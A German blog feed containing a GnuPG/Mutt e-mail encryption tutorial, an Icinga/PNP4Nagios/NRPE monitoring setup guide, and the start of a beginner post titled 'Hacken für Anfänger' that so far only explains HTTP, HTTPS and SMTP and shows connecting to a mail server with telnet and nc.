E-Mail-Verschlüsselung per GnuPG

GnuPG (gpg) ist ein Kryptografie-System, dass heißt das Dateien und somit auch E-Mails mit einem öffentlichem Schlüssel verschlüsselt werden können und nur du dieser mit deinem privaten Schlüssel wieder entschlüsseln kannst. Wenn du nun verschlüsselte E-Mails empfangen möchtest, benötigst du als erstes einmal ein solches Schlüsselpaar, danach musst du den öffentlichen Schlüssel (wie der Name schon sagt) veröffentlichen, jemand muss diesen herunterladen und verwenden.Somit können andere Leute dir verschlüsselt Mails senden und nur du kannst diese lesen.


Ich werde den Vorgang anhand eines Beispieles erklären und immer verdeutlichen auf welcher Kiste (PC) ich gerade bin.


Debian

Auf dem Debian System hab ich Mutt (Mail-Client) und GnuPG installiert, um das Schlüsselpaar zu erzeugen und die verschlüsselten E-Mails per Mutt (am Ende vom Blog-Post) abzurufen und zu entschlüsseln.

1.) Die nötige Software installieren…

aptitude install pgp mutt

2.) Schlüssel erzeugen

(Bitte deinen Namen & Mail-Adresse angeben)

gpg --gen-key

gpg (GnuPG) 1.4.10; Copyright (C) 2008 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Please select what kind of key you want:
(1) RSA and RSA (default)
(2) DSA and Elgamal
(3) DSA (sign only)
(4) RSA (sign only)
Your selection? 1
RSA keys may be between 1024 and 4096 bits long.
What keysize do you want? (2048)
Requested keysize is 2048 bits
Please specify how long the key should be valid.
0 = key does not expire
<n>  = key expires in n days
<n>w = key expires in n weeks
<n>m = key expires in n months
<n>y = key expires in n years
Key is valid for? (0)
Key does not expire at all
Is this correct? (y/N) y

You need a user ID to identify your key; the software constructs the user ID
from the Real Name, Comment and Email Address in this form:
„Heinrich Heine (Der Dichter) <heinrichh@duesseldorf.de>“

Real name: Lars Moelleken
Email address: voku@voku-online.de
Comment:
You selected this USER-ID:
„Lars Moelleken <voku@voku-online.de>“

Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? O
..+++++
.+++++
..+++++
.+++++
gpg: key E0000000 marked as ultimately trusted
public and secret key created and signed.

gpg: checking the trustdb
gpg: 3 marginal(s) needed, 1 complete(s) needed, PGP trust model
gpg: depth: 0  valid:   1  signed:   0  trust: 0-, 0q, 0n, 0m, 0f, 1u
pub   2048R/E0000000 2010-09-28
Key fingerprint = 0000 0000 0000 0000 0000  0000 0000 0000 0000 0000
uid                  Lars Moelleken <voku@voku-online.de>
sub   00000/C0000000 2010-09-28

3.) öffentlichen Schlüssel veröffentlichen

Wenn du die zuvor angegebenen Daten ggf. noch einmal ändern möchtest, kannst du dies mit dem folgendem Befehl bewerkstelligen, ansonsten… überspringe diesen Befehl einfach.

gpg --edit-key voku@voku-online.de

Nun schauen wir uns unseren öffentliche Schlüssel an, dort sollte nun bereits dein Name + E-Mail Adresse hinterlegt sein…

gpg --list-keys

… außerdem finden wir hier unsere Schlüssel-ID (Key-ID), welche wir benötigen, um den öffentlichen Schlüssel zu veröffentlichen.

gpg --send-key E0000000

Nun testen wir als erstes ob der Schlüssel bereits online verfügbar ist…

gpg --keyserver keys.gnupg.net --search-keys voku@voku-online.de


Ubuntu

Auf diesem System hab ich eine grafischen Mail-Client installiert (Claws-Mail) und den öffentlichen Schlüssel importiert und unterschrieben (beglaubigt), so dass ich verschlüsselte E-Mails verschicken kann, welche nur das zuvor erwähnte Debian System lesen kann.

1.) Die nötige Software installieren…

sudo aptitude install pgp gnupg-agent 
sudo aptitude install claws-mail claws-mail-pgpinline claws-mail-pgpmime
sudo aptitude install seahorse

Ggf. sind einige der Programm bereits auf deinem System installiert.

2.) Öffentlichen Schlüssel importieren

Nun können wir mit dem folgendem  Befehl, den Öffentlichen-Key importieren…

gpg --keyserver keys.gnupg.net --search-keys voku@voku-online.de

… nun können wir uns die Key-ID mit folgendem Befehl anschauen …

gpg --list-keys

… und mit diesem Befehl beglaubigen. (E00000000 muss natürlich durch deine angezeigte Key-ID ersetzt werden)

gpg --sign-key E0000000

3.) Software verwenden

Nachdem du in Claws-Mail das PGP Plugin aktiviert hast („Konfiguration“ -> „Erweiterungen / Plugins“) kannst du beim verfassen einer E-Mail unter dem Menüpunkt „Optionen“ -> „Datenschutzsystem“ -> „PGP MIME“  auswählen und danach „Optionen“ -> „Verschlüsseln“ und nun wird die E-Mail verschlüsselt versendet. Natürlich lassen sich die öffentlichen und auch privaten Schlüssel global im System verwenden, so dass du nun auch z.B. mit „evolution“ verschlüsselte E-Mails versenden kann


Debian

Wenn du ggf. deinen privaten Schlüssel, zum lesen von erhaltenen E-Mails auf mehreren PCs verwenden möchtest, musst du diesem erst Exportieren und auf dem Ziel-PC wieder importieren, wenn das nicht der Fall sein sollte, kannst du diese Schritte überspringen.

1.) Privaten Schlüssel abspeichern

Der nachfolgende Befehl exportiert deinen privaten Schlüssel, also Vorsicht wo du diesen abspeicherst und wie du diesen auf einen anderen PC kopierst.

gpg --export-secret-keys > secret.keys


Ubuntu

2.) Privaten Schlüssel importieren

Wenn wir den Key z.B. per „scp“ auf unseren zweit Rechner kopiert haben, können wir diesen mit folgendem Befehl einfügen. (und die Datei danach löschen)

gpg --import secret.keys

Zusätzlich zu den bereits installieren Programmen installieren wir nun noch „seahorse-plugin“ …

seahorse-plugins

… der Datei-Manager (nautilus) und der Text-Editor (gedit) unterstützen mit dem diesem Programm GPG-Entschlüsselung. (einfach rechte Maustaste auf eine gpg-Verschlüsselte Datei und auf  „Mit Datei entschlüsseln öffnen“ klicken)


Debian

Kommen wir nun zur Konfiguration von Mutt . Da wir den Mail-Client bereits am Anfang des Beitrages installiert hatten, beschreibe ich hier die wichtigsten Einstellungen und zeige meine Konfiguration, welche leicht an andere E-Mail Accounts angepasst werden kann.

1.) Als erstes laden wir die Beispiel-Konfiguration herunter.

cd ~

wget http://suckup.de/muttrc.txt
mv muttrc.txt .muttrc

wget http://suckup.de/mailcap.txt
mv mailcap.txt .mailcap

mkdit -p ~/.mutt/cache/headers
mkdir ~/.mutt/cache/bodies

2.) Im zweiten Schritt ändern wir die Konfiguration (ein wenig)

vim .muttrc

#set spoolfile=“imaps://user@domain.de:993″
#set folder=“imaps://user@domain.de/INBOX“

<- Hier musst du deine IMAP-Daten eintragen…

# direkt per sendmail (z.B. wenn du direkt auf dem Server arbeitest)
#set sendmail=“/usr/sbin/sendmail -oem -t -oi“
#set smtp_url=“smtp://user@domain.de/“
# ssmtp musst installiert und konfiguriert sein…
#set sendmail=“/usr/sbin/ssmtp -fuser@domain.de -au user@domain.de -ap password“

<- Hier musst du deine SMTP-Daten (bzw. sendmail) eintragen, bitte für eine Methode entscheiden…

#set pgp_sign_as=E0000000

-> Hier trägst du deine Key-ID von deinem GPG-Schlüssel ein…


Der Mail-Client lässt sich bis ins kleinste konfigurieren, dazu ist die Konfiguration an den meisten Stellen bereits kommentiert und lässt sich nun bereits starten.: mutt

Hier noch ein paar hilfreiche Tipps:

m -> neue E-Mail schreiben (:wq -> und mit „y“ am Ende bestätigen)
r -> antworten auf eine E-Mail
f -> weiterleiten einer E-Mail
e -> kompletten Header anzeigen lassen
c -> anderen Mail-Ordner öffnen
ENTER -> E-Mail lesen
SPACE -> nächste Seite einer E-Mail ansehen
q -> E-Mail wieder verlassen und zurück zur Postfach bzw. mutt beenden wenn du nicht in einer E-Mail bist
/ -> suchen, nach E-Mails oder im Inhalt von E-Mails oder in der Hilfe …
Pfeiltasten -> navigieren im Postfach (E-Mails auswählen)
? -> Hilfe anzeigen


Hier noch ein paar Links zum Thema:

http://www.gentoo.org/doc/en/gnupg-user.xml (Englisch)

http://www.kire.ch/linux/gnupg_spf.pdf

http://www.dewinter.com/gnupg_howto/

gpg --list-keys

Icinga

In diesem HowTo zeige ich wie du einen Monitoring-Server mit Icinga aufsetzt, dazu folgen einige Beispiele und eine optimierte Konfiguration.


Was ist Icinga?

Icinga ist ein „Fork“ des wohlbekannten Überwachungssystems Nagios. Eine 100%ige Kompatibilität mit den internen Strukturen des letzteren erlaubt es Ihnen, mit Icinga alle Plugins und Addons zu benutzen, die von verschiedenen Firmen und der großen Community entwickelt wurden bzw. werden. Der Icinga-Dienst selbst läuft als eigenständiger Prozess mit eingeschränkten Rechten auf dem Server und lässt sich über die textbasierenden Konfigurationsdateien konfigurieren. Zudem läuft ein Web-Server (Apache2 + mod_cgi + mod_php5), um auf CGI basierende Web-Schnittstelle zum Abfragen der gesammelten Daten zuzugreifen. Wer bereits jetzt einen Blick auf die Software werfen will, sollte sich die Demo (User: guest, Passwort: guest) anschauen.


Windows-Server: Für das Monitoring von Windows-Servers kannst du die Software „NSClient++“ einsetzten, in welcher nur das NRPE-Modul aktiviert werden muss, so dass Abfragen (Checks) serverseitig mit eingeschränkten Rechten ausgeführt werden und vom Monitoring-Server abgefragt werden können.

Linux-Server: Auch bei den Linux-Servern kommt ein NRPE-Server zum Einsatz, welcher die Abfragen (Checks) ebenfalls lokal ausführt und die Ergebnisse dem Monitoring-Server zur Verfügung stellt. Im laufe des HowTos, werde ich noch zeigen, wie man diesen installiert und konfiguriert.

SNMP: Einige Netzwerkkomponenten z.B. der Datendurchsatz von einigen Netzwerk-Schnittstellen, Temperaturwerte u.s.w. … können mittels SNMP abgefragt werden. Für diesen Zweck werden noch einige Erweiterungen (Plugins) für Icinga installiert.


Welches Betriebssystem?

In meinen Test nutze ich „Debian“ in der aktuellen Version mit dem Codenamen „Lenny“ . „Icinga“ liegt in den nun offiziellen Backports bereits als vorkompiliertes Paket in den  Softwarequellen vor und kann daher leicht installiert und aktualisiert werden.


Vorbereitung der Umgebung

Betriebssystem
Ich nutze eine Standard Distribution von Debian (Lenny) mit minimalen vorinstallierten Anwendungen. Die Distribution bringt ein breites Spektrum am Software mit, so dass als erstes ein SSH-Server (openssh-server), Mailserver (postfix) und ein Webserver (apache2) nachinstalliert wurden. Wer sich mit der Paketverwaltung von Debian noch nicht so gut auskennt, sollte sich zuvor folgenden Post-Post durchlesen: suckup.de/blog/2010/02/13/aptitude-dpkg/


Monitoring-Server
Die Installation von Icinga wird über die Paketverwaltung des Betriebssystems realisiert, dazu müssen jedoch die zuvor erwähnten Backports mit im System aufgenommen werden.

echo 'deb http://backports.debian.org/debian-backports lenny-backports main' >> /etc/apt/sources.list
echo 'Package: *' >> /etc/apt/preferences
echo 'Pin: release a=lenny-backports' >> /etc/apt/preferences
echo 'Pin-Priority: 200' >> /etc/apt/preferences
apt-get updat

Installiert wurden die folgenden Pakete und dessen Abhängigkeiten.:

aptitude install icinga icinga-doc nagios-snmp-plugins nagios-nrpe-plugin

[stextbox id=“warning“]Hinweis: Bitte darauf achten, dass Nagios3 nicht mit installiert wird, da dies vom nagios-nrpe-plugin empfohlen wird.[/stextbox]

Die Pakete „nagios-plugins“, „nagios-plugins-standard“ – die Nagios-Plugins werden ebenfalls automatisch als Abhängigkeit per Paketverwaltung installiert, und werden bei Ininga automatisch in der folgenden Konfigurations-Datei integriert.


Konfiguration von Icinga

Als erstes zeige ich anhand von einem Schaubild, wie die Konfiguration später aussieht. In dem Schaubild sind jedoch nicht alle Konfigurations-Dateien vorhanden, dies dient nur der Veranschaulichung.


konfig_1

konfig_2

Hauptkonfigurationsdatei: icinga.cfg
In der Hauptkonfigurationsdatei werden Basisparameter der Monitoring-Software festgelegt. Da bereits die Nagios-Plugins, dass heißt die einzelnen Prüf-Programme (Checks) für z.B. SSH, SMTP, FTP u.s.w. über die  Paketverwaltung des Betriebssystems installiert wurden, wurden die bereits mit folgender Zeile mit aufgenommen.

cfg_dir=/etc/nagios-plugins/config/

Des-weiteren gibt die nächste Zeile an, welches Verzeichnis von Icinga rekursiv nach Dateien, welche auf .cfg enden, durchsucht wird, so dass weitere Konfigurations-Dateien einfach angelegt werden können.

cfg_dir=/etc/icinga/objects/

Bisher haben wir noch nichts an der Konfiguration geändert, ich habe die angesprochen Zeilen nur erwähnt, um die Konfiguration besser verstehen zu können. Aus dem selben Grund, stelle ich hier einmal kurze die Verzeichnisstruktur (tree) der Konfiguration dar.:

|– cgi.cfg
|– commands.cfg
|– objects
|   |– contact
|   |   |– contactgroups.cfg
|   |   |– contacts.cfg
|   |   `– contacts_templates.cfg
|   |– hosts
|   |   |– intern
|   |   |   |– linux_server.cfg
|   |   |   |– windows_server.cfg
|   |   |   |– drucker.cfg
|   |   |   `– […]
|   |   |– host_templates.cfg
|   |   |– hostextinfo.cfg
|   |   |– hostgroups.cfg
|   |   |– kunden
|   |   |   |– kunde1.cfg
|   |   |   |– kunde2.cfg
|   |   |   `– […]
|   |– services
|   |   |– services_host.cfg
|   |   `– services_templates.cfg
|   `– timeperiods.cfg
|– htpasswd.users
|– icinga.cfg
|– resource.cfg

[stextbox id=“info“]Tipp: Um über die Weboberfläche per CGI Befehle auszuführen, müssen wir „check_external_commands“ von „0“ auf „1“ umstellen und dem Webserver (CGI) die Rechte auf folgende Datei geben.[/stextbox]

check_external_commands=1

dpkg-statoverride --update --add nagios www-data 660 /var/lib/icinga/rw/icinga.cmd


CGI-Konfigurationsdatei: cgi.cfg
In dieser Datei werden die Zugriffsrechte für die zuständigen Benutzer und einige Einstellungen bezüglich der Weboberfläche festgelegt.


Kommando-Konfigurationsdatei: commands.cfg
Alle Abfragen welche nicht bereits mit den Nagios-Plugins installiert wurden, z.B. speziell entwickelte Skripte oder Kommandos zum Senden von SMS / E-Mails werden in dieser Datei definiert.

cd /etc/icinga/
wget http://suckup.de/commands.txt
mv commands.txt commands.cfg


Objekt-Konfigurationsdateien: objects/*.cfg
Kommen wir zur Host- / Servicekonfiguration und dessen Verzeichnisstruktur, um mit Vorlagen und Vererbungen zu arbeitet, gehen wir wie folgt vor.:

[stextbox id=“warning“]Bitte nicht einfach alle Befehle nacheinander per „Copy&Past“ einfügen, überlege was du tust und falls du bereits etwas an Icinga konfiguriert hast, sicher diese Datei vorher!!![/stextbox]

cd /etc/icinga/objects/

rm *.cfg
wget http://suckup.de/timeperiods.txt
mv timeperiods.txt timeperiods.cfg

rm timeperiods_icinga.cfg
mkdir contact/ doc/ hosts/ services/

rm extinfo_icinga.cfg generic-host_icinga.cfg generic-service_icinga.cfg  hostgroups_icinga.cfg localhost_icinga.cfg services_icinga.cfg  contacts_icinga.cfg
cd contact/

wget http://suckup.de/contacts_templates.txt
mv contacts_templates.txt  contacts_templates.cfg

wget http://suckup.de/contacts.txt
mv contacts.txt  contacts.cfg

wget http://suckup.de/contactgroups.txt
mv contactgroups.txt contactgroups.cfg

cd ..

[stextbox id=“info“]Tipp: In der Datei „contacts.cfg“ kannst du nun neue User eintragen und diese in der Datei  „contactgroups.cfg“ zu einer Gruppe zusammenfassen.[/stextbox]

cd hosts/
mkdir intern/ kunden/

wget http://suckup.de/host_template.txt
mv host_template.txt host_template.cfg

wget http://suckup.de/hostgroups.txt
mv hostgroups.txt hostgroups.cfg

[stextbox id=“info“]Tipp: In der Datei „hostgroups.cfg“ werden den Hostgruppen z.B. allen Windows-Server bestimmte Services zugeordnet, so dass in der Hostkonfiguration [intern/ und kunden/] nur noch die Hostgruppe zugeordnet werden muss, um alle zugeordneten Services zu checken.[/stextbox]

wget http://suckup.de/hostextinfo.txt
mv hostextinfo.txt hostextinfo.cfg

[stextbox id=“info“]Tipp: Um die „alte“ hostmap zu verwalten, kann man sich folgendes kleine Perl-Skript herunterladen, damit hat man eine GUI in der man die bereits eingetragenen hosts auf der Karte positionieren kann. Einfach mal bei google nach „nagios-2d-editor“ suchen.[/stextbox]

cd intern/

wget http://suckup.de/switch.txt
mv switch.txt switch.cfg

wget http://suckup.de/linux_server.txt
mv linux_server.txt linux_server.cfg

cd ..
cd kunden/

wget http://suckup.de/kunde1.txt
mv kunde1.txt kunde1.cfg

cd ../../services/

Die hier zur Verfügung gestellten Dateien (hostextinfo.cfg, switch.cfg, linux_server.cfg, kunde1.cfg) müssen natürlich noch angepasst, werden (Hostnamen, Domain, Kunden-Name, IP-Adresse, Abhängigkeiten…) und halten einzig der Veranschaulichung der Konfiguration her. :-)

wget http://suckup.de/services_templates.txt
mv services_templates.txt services_templates.cfg

wget http://suckup.de/services_host.txt
mv services_host.txt services_host.cfg

Auch die hier zur Verfügung gestellt Datei (services_host.cfg) muss im Produktiv-System noch angepasst werden, weitere hilfreiche Tipps befinden sich als Kommentare in den Dateien selbst.

Wer bisher jeden Host und Service komplett in die „hosts.cfg“ und „services.cfg“ geschriben hat, kann mit der zuvor erklärten Methode zirka 90% der Konfiguration einsparen, zudem wird das ganze übersichtlicher und es schleichen sich weniger Fehler ein.


konfig_3

[stextbox id=“info“]Tipp: Wenn du das Passwort, welches du bei der Installation angegeben hast, vergessen solltest, kannst du es per „htpasswd“ neu setzten und auch neue User anlegen, dazu musst du neuen Usern die passenden Rechte in der „cgi.cfg“-Datei zuweisen .[/stextbox]


Nagios-Plugins

Damit Icinga in der Lage ist Server (Dienste) und andere Ressourcen zu überprüfen, wurden die verschiedene Plugins bereits bei der Vorbereitung der Monitoring-Umgebung installiert, jedoch fehlten ggf. noch Plugins welche wir zusätzlich verwenden möchten, um diese mit in die Konfiguration auszunehmen, gehen wir wie folgt vor.:

1.) In dem folgendem Verzeichnis legen wir das Check-Programm ab…

cd /usr/lib/nagios/plugins/

2.) Tragen das dazu passende Kommando in dieser Datei ein…

vim /etc/icinga/commands.cfg

3.) Fügen ggf. eine neue Gruppe hinzu oder nutzen eine bestehende und fügen den ensprechenden Service_Check hinzu…

vim /etc/icinga/objects/hosts/hostgroups.cfg

4.) Nun können wir die Gruppe in allen Hosts verwenden…

vim /etc/icinga/objects/hosts/[intern|kunden]/*.cfg


Performancedaten darstellen: PNP

Als nächstes wollen wir einige Performance-Daten visuell darstellen, dafür installieren wir PNP4NAGIOS. Wie dieses Programm funktioniert findest du weiter unten…

Einige Abhängigkeit wurden als erstes nachinstalliert.

aptitude install g++ make php5 php5-gd rrdcollect rrdtool librrdp-perl librrds-perl

Als nächstes wurde der Quellcode heruntergeladen, entpackt und für das laufende System konfiguriert.

cd /usr/src/
VERSION=0.6.6
wget http://downloads.sourceforge.net/project/pnp4nagios/PNP-0.6/pnp4nagios-$VERSION.tar.gz
tar -xvzf pnp4nagios-$VERSION.tar.gz
cd pnp4nagios-$VERSION
./configure

Danach wurden die in C geschriebenen Komponenten kompiliert.

make all

Und mit dem folgenden Befehlen wurden die Dateien (Programm, Konfiguration, zusätzliche Webserver-Konfiguration…) an die passende Stelle im Dateisystem kopiert.
make install && make install-webconf && make install-config && make install-init

Die Software wurde nun noch in Icinga integriert, dafür muss die „icinga.cfg„-Datei wie folgt angepasst werden.

# Performance-Daten aktivieren
process_performance_data=1
# Service Performance-Daten
service_perfdata_file=/usr/local/pnp4nagios/var/service-perfdata
service_perfdata_file_template=DATATYPE::SERVICEPERFDATA\tTIMET::$TIMET$\tHOSTNAME::$HOSTNAME$\tSERVICEDESC::$SERVICEDESC$\tSERVICEPERFDATA::$SERVICEPERFDATA$\tSERVICECHECKCOMMAND::$SERVICECHECKCOMMAND$\tHOSTSTATE::$HOSTSTATE$\tHOSTSTATETYPE::$HOSTSTATETYPE$\tSERVICESTATE::$SERVICESTATE$\tSERVICESTATETYPE::$SERVICESTATETYPE$
service_perfdata_file_mode=a
service_perfdata_file_processing_interval=15
service_perfdata_file_processing_command=process-service-perfdata-file
# Host Performance-Daten
host_perfdata_file=/usr/local/pnp4nagios/var/host-perfdata
host_perfdata_file_template=DATATYPE::HOSTPERFDATA\tTIMET::$TIMET$\tHOSTNAME::$HOSTNAME$\tHOSTPERFDATA::$HOSTPERFDATA$\tHOSTCHECKCOMMAND::$HOSTCHECKCOMMAND$\tHOSTSTATE::$HOSTSTATE$\tHOSTSTATETYPE::$HOSTSTATETYPE$
host_perfdata_file_mode=a
host_perfdata_file_processing_interval=15
host_perfdata_file_processing_command=process-host-perfdata-file

In der „commands.cfg“ Konfiguration müssen zudem zwei neue Kommandos eingefügt werden, sofern diese nicht bereits vorhanden sind.

define command{
command_name        process-service-perfdata-file
command_line        /bin/mv /usr/local/pnp4nagios/var/service-perfdata /usr/local/pnp4nagios/var/spool/service-perfdata.$TIMET$
}
define command{
command_name        process-host-perfdata-file
command_line        /bin/mv /usr/local/pnp4nagios/var/host-perfdata /usr/local/pnp4nagios/var/spool/host-perfdata.$TIMET$
}
mv /usr/local/pnp4nagios/etc/npcd.cfg-sample /usr/local/pnp4nagios/etc/npcd.cfg

mv /etc/httpd/conf.d/pnp4nagios.conf /etc/apache2/conf.d/pnp4nagios.conf

In folgender Datei muss der Pfad zur passwd-Datei bearbeitet werden:

vim /etc/apache2/conf.d/pnp4nagios.conf

AuthUserFile /etc/icinga/htpasswd.users

rmdir /etc/httpd/conf.d && rmdir /etc/httpd/ && apache2ctl restart

[stextbox id=“info“]Tipp: Um nun zu prüfen, ob alle Voraussetzen erfüllt sind, rufen wir einfach die entsprechend Webseite auf: z.B.: http://icinga.test.de/pnp4nagios/[/stextbox]

Schlussendlich wird PNP mit folgender Konfigurationszeile in einer Host-Definition bzw. dessen Vorlage in die Weboberfläche integriert:

action_url     /pnp/index.php?host=$HOSTNAME$&srv=$SERVICEDESC$


pnp4nagios

Quelle: (3)

PNP4nagios Funktionsweise
PNP wird wie bereits zuvor beschrieben im Bulk-Modus (mit NPCD) betrieben. Dies bedeutet, dass die Performance-Daten in einem Verzeichnis gesammelt werden und dann von dem NPCD (Nagios Performance Data C Daemon) Dienst verarbeitet werden. Gegenüber dem Standard-Modus hat dieser den entscheidenden Vorteil, dass das Programm zur Verarbeitung der Performance-Daten nicht bei jeder Überprüfung (Check) ausgeführt werden muss und somit Systemressourcen eingespart werden.


pnp4nagios_config

Quelle: (3)

Monitoring-Client

Der „Nagios Remote Plugin Executor“ (NRPE) wird benötigt, um lokale Ressourcen auf den zu überwachenden Servern für den Nagios-Server bereitzustellen. Der NRPE-Dienst führt diese Überprüfungen wiederum über lokale Plugins aus. Unter Debian kann man den NRPE-Server mit folgendem Befehl installieren:

aptitude install nagios-nrpe-server nagios-plugins nagios-plugins-basic

Nun geben wir noch an, welche IP-Adresse auf die Daten zugreifen darf, also die IP-Adresse vom Monitoring-Server.

vim /etc/nagios/nrpe.cfg

allowed_hosts=X.X.X.X

Einige Kommandos sind bereits in der Datei nrpe.cfg definiert, diese Kommentieren wir jedoch nun aus und schreiben alle unsere Kommandos in die folgende Datei.

vim /etc/nagios/nrpe_local.cfg

z.B.:

# check system
command[check_users]=/usr/lib/nagios/plugins/check_users -w 5 -c 10
command[check_load]=/usr/lib/nagios/plugins/check_load -w 15,10,5 -c 30,25,20
command[check_zombie_procs]=/usr/lib/nagios/plugins/check_procs -w 5 -c 10 -s Z
command[check_total_procs]=/usr/lib/nagios/plugins/check_procs -w 150 -c 200
command[check_syslog]=/usr/lib/nagios/plugins/check_procs -C syslogd -c 1:1
command[check_retro]=/usr/lib/nagios/plugins/check_procs -C retroclient -w 1:20 -c 1:20
command[check_process]=/usr/lib/nagios/plugins/check_procs -C process.pl -w 1:1 -c 1:1
command[check_mailq]=/usr/lib/nagios/plugins/check_mailq -M postfix -w 250 -c 1000
command[check_procs]=/usr/lib/nagios/plugins/check_procs -w 250 -c 300
command[check_cron]=/usr/lib/nagios/plugins/check_procs -C cron -w 1:20 -c 1:20
command[check_bacula-fd]=/usr/lib/nagios/plugins/check_procs -C bacula-fd -w 1:1 -c 1:1
command[check_freshclam]=/usr/lib/nagios/plugins/check_procs -C freshclam -w 1:1 -c 1:1
command[check_amavisd]=/usr/lib/nagios/plugins/check_procs -u amavis -a amavisd -w 2:4 -c 1:5
command[check_clamd]=/usr/lib/nagios/plugins/check_procs -C clamd -w 1:5 -c 0:6
command[check_mysql]=/usr/lib/nagios/plugins/check_mysql -H 127.0.0.1 -u nagios -p test123
command[check_ssh]=/usr/lib/nagios/plugins/check_ssh -H 127.0.0.1
command[check_amavis_port]=/usr/lib/nagios/plugins/check_tcp -H 127.0.0.1 -p 10025
command[check_spamd]=/usr/lib/nagios/plugins/check_procs -C spamd -c 1:10

# check disks
command[check_disk_root]=/usr/lib/nagios/plugins/check_disk -w 1000 -c 750 -p /
command[check_disk_tmp]=/usr/lib/nagios/plugins/check_disk -w 200 -c 100 -p /tmp
command[check_disk_var]=/usr/lib/nagios/plugins/check_disk -w 1000 -c 750 -p /var
command[check_swap]=/usr/lib/nagios/plugins/check_swap -w 80% -c 25%


nrpe

Quelle: (4)

Qualitätssichernde Maßnahmen

Um die syntaktische Korrektheit der Konfiguration zu prüfen,  geben wir folgenden Befehl ein:

icinga -v /etc/icinga/icinga.cfg

[stextbox id=“info“]Tipp: In größeren Umgebungen kann es von Vorteil sein, die einzelnen Netzwerkkomponenten mit einem eindeutigem DNS-Hostnamen eingetragen.[/stextbox]


Anhang A

Literaturverzeichnis

(1) [nagios-buch] Wolfgang Barth, Nagios System- und Netzwerk-Monitoring, Open Source Press, 2008
(2) [icinga-webseite] Icinga, http://www.icinga.org
(3) [pnp-webseite] PNP, http://docs.pnp4nagios.org
(4) [nagios-doku] Nagios3, http://nagios.sourceforge.net/docs/3_0/


Anhang B

Glossar

CGI-Programme/Skripte – Das Common Gateway Interface (zu deutsch etwa „Allgemeine Vermittlungsrechner-Schnittstelle“) kann Webseiten dynamisch generieren. In Nagios werden die Statusberichte in der Weboberfläche mittels CGI-Programmen erstellt.

DNS – Der Domain Name Service ist ein Dienst zur Auflösung von Hostnamen in IP-Adressen und umgekehrt.

PING – Dies ist ein Programm, mit dem überprüft werden kann, ob ein bestimmter Host erreichbar ist und welche Zeit das Routing zu diesem hin und wieder zurück in Anspruch nimmt.

SMTP – Das Simple Mail Transfer Protocol (zu deutsch etwa „Einfaches E-Mail-Sendeverfahren“) ist ein Protokoll der Internetprotokollfamilie, das zum Austausch von E-Mails in Computernetzen dient.

SNMP – Das Simple Network Management Protocol (zu deutsch etwa „einfaches Netzwerkverwaltungsprotokoll“) dient zur Verwaltung von Netzwerkgeräten. Alle Parameter die über das Netzwerk ausgelesen und gesetzt werden können sind in der Management Information Base von dem jeweiligen Gerät eingetragen.


Anhang C

Abhängigkeitsprüfungen

Das nachfolgende Bild zeigt ein Diagramm von Netzwerkkomponenten und deren Abhängigkeiten, die von Nagios überwacht werden.
Switch2 ist in diesem Beispiel gerade nicht mehr erreichbar und somit in einen Problemzustand gewechselt. Nagios muss feststellen, ob der Host selber down ist oder nur nicht mehr erreichbar ist, weil eine weitere Netzwerkkomponente zuvor ausgefallen ist.
Es werden parallele Prüfungen für die direkten Nachbarn ausgelöst. Monitor1 und File1 werden zudem gleichzeitig parallel überprüft, da Switch2 von diesen abhängig ist.


nagios

Quelle: (4)

Anhang D

Topologie eines Beispielnetzwerks


nagios2

Quelle: (1)

1.) ein kritischen Zustand eines Dienstes wird festgestellt
2.) der dazu passende Host wird überprüft und ist nicht erreichbar
3.) die Abhängigkeiten des Hosts werden parallel überprüft
4.) der switch1 ist noch vom Nagios-Server (nagios) aus zu erreichen
5. – 6.)    die nachfolgenden Netzwerkkomponente sind momentan nicht erreichbar

In diesem Beispiel würde nur eine Benachrichtigung für den ausgefallenen switch2 generiert werden.

Hacken für Anfänger

Dieses HowTo zeigt wie einfach es ist einen Hack durchzuführen, wenn du mit deinem Laptop / PC einmal im lokalen Netz (LAN) bist. Eine kurze Einführung in die Thematik bevor es losgeht, wir wollen schließlich auch was lernen, :-) dazu versuche ich die Kommunikation zwischen zwei PCs möglichst einfach zu erklären und falls du etwas nicht verstehst, dann lese erst-einmal die folgende Erklärung bis zum Ende. Falls du dann noch fragen hast, kannst du diese unten per Kommentar stellen.


1.) Erklärung


1.1.) Am Anfang ist immer eine Information z.B. diese Webseite und damit Sender und Empfänge sich verstehen können, wurde vorher eine Sprache / Verfahren festgelegt, wie man diese Information darstellt. Das ist wie im wirklichen Leben, man kann nicht jede Information gleich behandel, es gibt wichtige, sensible Informationen und dann auch wieder irgendwelche Floskeln (Guten Tag!) die nicht sonderlich wichtig sind.


HTTP: Bei dieses Protokoll möchten wir, dass die Nachricht auch wirklich beim Empfänger ankommen. Es ist wie eine normale Unterhaltung zwischen zwei Personen, wenn der Empfänger etwas nicht verstanden hat (die Daten nicht korrekt angekommen sind), fragt er noch einmal nach. – Port 80


HTTPS: Dieses Protokoll ist für die bereits erwähnten sensiblen Daten gedacht, man kann sich dies auch als eine Unterhaltung zwischen zwei Personen vorstellen, jedoch mit dem Unterschied, dass die beiden sich vorher auf eine nur für Sie verständliche Kommunikation vereinbart haben. – Port 443


SMTP: Mithilfe von diesem Protokoll verschickt man E-Mails. Man kann sich das vorstellen, als ob man bei der Poststelle einen Brief abgibt, welcher dann erst-einmal gesammelt, verarbeitet und dann verschickt wird. Als erstes authentifiziert man sich und danach gibt man den kompletten Brief (E-Mail) am Schalter ab. – Port 25


Wenn du das Prinzip von SMTP selber testen möchtest, gehst du wie folgt vor.

auf deinem PC:

telnet "server" 25

HELO „server“

MAIL FROM:test@server.de

RCPT TO:test2@server2.de


Nun kannst du die E-Mail schrieben, mit einem „.“ beendest du diese Eingabe und die Mail wird verschickt. Dies funktioniert natürlich nicht auf allen Servern, kannst es ja mal mit…

nc -v suckup.de 25

… ausprobieren, man erstelle Regel um zu verhindern, dass jeder einfach so E-Mails versenden kann und richtet eine Authentifizierung ein. Außerdem kannst du mit den hier genannten Programmen nicht nur mit den Port 25 (SMTP) verbinden, du kannst dich auch mit einem Web-Server (Port 80) und so weiter verbinden.


nc -v suckup.de 80



Mit dem folgendem Befehl, kannst du dir einige reservierte Protokolle + Ports ansehen.

cat /etc/protocols


